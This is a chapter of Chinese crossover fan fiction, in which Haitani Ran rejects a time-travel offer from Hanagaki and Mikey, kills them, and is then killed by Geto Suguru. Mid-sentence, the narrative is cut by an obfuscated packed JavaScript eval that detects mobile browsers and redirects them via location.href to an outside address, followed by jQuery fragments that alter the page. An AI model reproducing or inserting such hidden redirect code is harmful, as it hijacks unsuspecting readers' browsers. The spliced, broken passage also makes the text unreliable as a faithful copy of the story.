22.她在耳边
作品:《灰小伙夏油杰和恶毒继姐》 主母的独子患病后,父亲就将他们接回家族,说是之前忽略了他们,从今以后一定会认真对待。
好笑,明明一开始连姓氏都不愿分享。
不过是怕婚生子病死,成为无嗣之人,在家族的老古董面前失去话语权。于是捡回不知何时犯下的错误,想要将其包装,奉给家族。
所以,第一次见面,他就砸了亲爹的头,花瓶碎裂的声音清脆,血也给焦黄的皮肤增添多彩。
漂亮多了。
睁开双眼,灰谷兰推开眼罩,又躺半个小时,才从床上坐起身,手机时间显示2017年11月30日14点。
今天也睡够十小时,皮肤状态良好。
去到盥洗室,镜中的男人一头紫色中短发,其中挑染几缕黑色,他洗漱护理完毕,慢悠悠做好发型,去衣帽间挑选、穿上定制西装,时间又过去两小时。
盯着全身镜中的倒影,他想,已经三十岁了,之后保养起来会更麻烦吧。
看来,死在十九岁也不全是坏处。
离开卧房,去到大厅,六十层楼高的玻璃幕墙外,没有任何遮挡,阳光刺进来,照得地面上摆放的枪械整齐反光。
“龙胆,收好你的新玩具。”他说。
电视在播放UFC格斗赛事节目,时不时传出主持人的激动解说,但总体声音开得很小,龙胆怕吵醒兰后挨训。
站在沙发上,龙胆回头,笑嘻嘻地向兰挥手。
“大哥,你醒了啊,好的好的。”
“楼下有两个熟人,花垣和Mikey,在58层会客室等着,说要见你。”
“「三相教」的最近动向放在那个台子上。”
顺着龙胆的手指过去,台灯下,几张光滑的A4纸,兰拿起他们,对齐,进入电梯。
这些年,他新增个爱好,给夏油家仅剩的存活者找麻烦。
那家伙成为盘星教、也就是三相教的教主。同时,也是个未向普通民众公开的,屠完某个村庄,并杀死自己全家的通缉犯。
快速浏览资料,兰发现,教会成员在东京和京都的出没记录变多。
是要在这两个地方做什么?在咒术高专附近也有普通教会成员路过盯梢,目的在那吗?
等会儿就匿名举报给咒术协会,像他之前做过无数次那样,总有几次能猜中起效。
推开会客室大门,两个黑发男人坐在沙发上,一个身体板直,紧张得额头冒汗,一个松松垮垮瘫坐着,看见他后“嘿”了一声,和翠子差不多德性。
前者,是那个阻止他在大庭广众之下杀人的“小学生”,叫花垣武道。后者昵称Mikey,组织过不良团体,他加入过一段时间。
都算是曾经对他有帮助的人,所以龙胆才放人进来。
“什么事?”他坐在他们对面,翘起二郎腿。
“那个,下午好,其实,我想说、那个……”花垣磕巴半天没能说出口。
“他想说,他有回溯时间让你回去救人的办法,让你别干违法犯罪的事了。”Mikey替花垣说。
话音一落,花垣吓得跳起来,试图解释清楚。
“其实,我是个重生者。”
兰这才从上一句话中回神,沉下脸色,不善地看着两人,宝石般锐利的眼睛像要将人划伤。
先不说回溯时间有多离谱,他们怎么知道他暗地里的产业,又怎么知道他因为翠子一直在针对三相教。
能钻法律漏洞或是不被发现,就不叫违法犯罪,他一向做得很小心。
花垣继续说:“十七年前,我和Mikey做了上一世没有做过的事,我们上街,然后不小心撞倒一位女士,正是翠子小姐的母亲,导致她们成为夏油家的成员,也导致她们的死亡。”
“这不是你们该知道的事。”兰说。
官方没有报道夏油家的惨剧,对外宣称夏油夫妻去美国探亲,三人一同失踪,普通人只能查到这些。
“这就证明有时间回溯啊,我们亲眼看见的,还差点死了。”Mikey说。
真恐怖啊,那个人带着血从家里走出来,看见那人的时候,耳边响起脑袋被重击般的嗡嗡声,幸好他和花垣装作偶然路过,蹲在地上捡树枝玩的幼稚男高,假装没有看见他,竟然混了过去。
他是不想再去救那个叫翠子的人了,但是花垣……
花垣致力于不断回溯,让曾经认识的所有人脱离不良,重回正途。
在发现他明明成功制止兰杀人,兰却依然走上歧途后,他展开调查,发现上一世好好的翠子,现在竟然失踪了?
怎么想,问题都出在他们那一撞上,是他们导致的悲剧。
愧疚爬满他的心神,这哪能不救?
于是他不断回到过去,但尝试很多次,只发现对方已经死亡的真相,却始终改变不了结果。
将事情经过精简讲述给兰,他又开始解释回溯的规则。
“回溯的能力,是上一个重生者传递给我,我想将它交给你,因为我很难快速得到翠子的信任,一直失败。”
“要回到过去,需要两个人,两个同样发自心底觉得,哪怕自己死亡也要制止某件事发生的人,一个作为重生者,一个作为锚点。”
“重生者带着现在的记忆回到过去,尝试改变,然后触碰锚点,回到改变后的现在。”
“重生者只会拥有自己一路所见的记忆,而锚点,会拥有两个不同发展的所有记忆。”
“Mikey已经有一百多年的记忆了,再作锚点可能会出事,所以我们才来找你。”
揉揉太阳穴,兰在思考,这时间回溯听上去挺绕挺真,至少从他看过的电影里找不到同款,但是……
他听过那什么时间悖论,是什么来着,算了,头痛,原理上的东西,让翠子去想好了,如果是真的话。
“所以,怎么交给我。”他问。
“请伸出手来。”花垣伸出手。
疑心渐起,但兰也试着伸出手,花垣握住他的手,握得很紧,和男人这样握手有点恶心。
三十秒后,花垣松手,说:“好了。”
?
兰皱起眉头:“就这样?”
花垣点头。
“……然后呢?”兰迟疑地问。
“有几种方式,我第一次回溯,是在锚点的视线内,达到濒死状态,自杀也行。第一次之后和锚点握手就行,还有……”
?
兰的眼神冷下来。
他看起来像傻子吗?这两个人想当正义使者想疯了,用这种手段骗他自杀?
有病吧。
他刚才竟然稍微有点信了?
站起身,从怀里拿出枪,拇指抠开保险,他指着花垣的脑袋。
“看在你们帮过我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15069066|160975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的份上,死前,可以列个遗愿清单,三条,我看心情决定帮不帮你们做。”
这么说只是为了仪式感,没有别的特殊理由。他们这种一看就是敌对势力派来,不尊重他,胡编乱造一些东西,就想毁灭他的人,就该去死。
两声枪响后,他离开会客室,打电话让龙胆来处理尸体,他可不想让衣服溅到血。
“哇,好歹相识一场,这样太坏了吧?”
龙胆说着,娴熟地把人装袋,联系下属中的清道夫。
“夸得不错,”兰说,“就是要当坏人才能过得好。”
世界运行的规则就是如此。
处理好身上的硝烟味,兰回到顶楼,只剩他一人,龙胆处理完尸体,就去和狐朋狗友们出去鬼混。
回到卧房前,他脚步一顿。
卧房门把手是阶梯形状,从轴承到把手最靠外处,逐级变薄,是专门的设计,几年下来,他已经看惯。
但今天感觉有点不一样。
和他自己开关门后,留下的角度不同。
谁能像这样找过来,他大概知道。
进去会发生什么事,他也知道。
但落荒而逃未免太过丑陋。
站立片刻,他转动把手,慢慢开门,低沉温和的男声传来,在落地窗前的位置。
“……因为长得好看,所以不想让它死?那可不行,要有原则哦,它可给我的家人添了不少麻烦。”
长发男人穿着宽大的袈裟,独自站在窗前,夕阳的红,落在田相衣的绿格子上,呈现出黑色。
他身边的矮桌上放着本书,《故事》,有不久前翻阅过的痕迹。这是本好莱坞编剧书,曾经翠子为应对兰的提问,边看电影边看这本书,上面留有笔记。
原来这本书还在吗?兰想,他还以为搬家时弄丢了。
这是兰最后一个想法。
巨大的达摩不倒翁落在他身上,毫无阻碍,仿佛其底下的人没有骨头般,实实在砸地上,扎实沉闷,液体飞溅之声黏稠。
“这样就看不见丑陋的死相了吧?”
咒力压迫下,玻璃骤然破碎,杰向面前的缺口迈步,刚要跳出去却顿住脚步。
“嗯?想要那本书吗?”他走回去,拿起桌上的书,说,“全是猴子气味的东西有什么好的。”
又一次翻开这本书,老旧弯曲的书页掠过手指,熟悉的字迹在眼前晃过,「爱情故事」、「拯救挚友」、「怪诞」、「救赎」、「惩罚」……
捕捉到几个勾画过的词语,杰抬头望过来,身后盛开粉色小花,比出“耶”的手势,凑近,故作可爱地笑,眼睛弯弯的,像是小学教科书里的插画。
“哈哈,我们不会是电影里的人吧?那还真是符合心意的剧情,我和新家人在一起很愉快哦~”
血液逐渐变凉,蔓延,爬到脚底,浸过草鞋,染上白袜。
他收回手,脸色垮下来:“是啊,哪个影视剧角色,要考虑怎么洗掉袜子上的血呢?”
狭长的眼睛变得冷酷,他放出火焰的咒灵,点燃窗帘、椅子、沙发、床,书柜重点关照,然后转身从六十层跳下。
解决碍事的猴子,接下来,继续去推进他的大义。
杀死所有非术师,创造只有术师的世界。
“通灵王看多了,这是抄袭麻仓好的台词吧。”
她在耳边吐槽。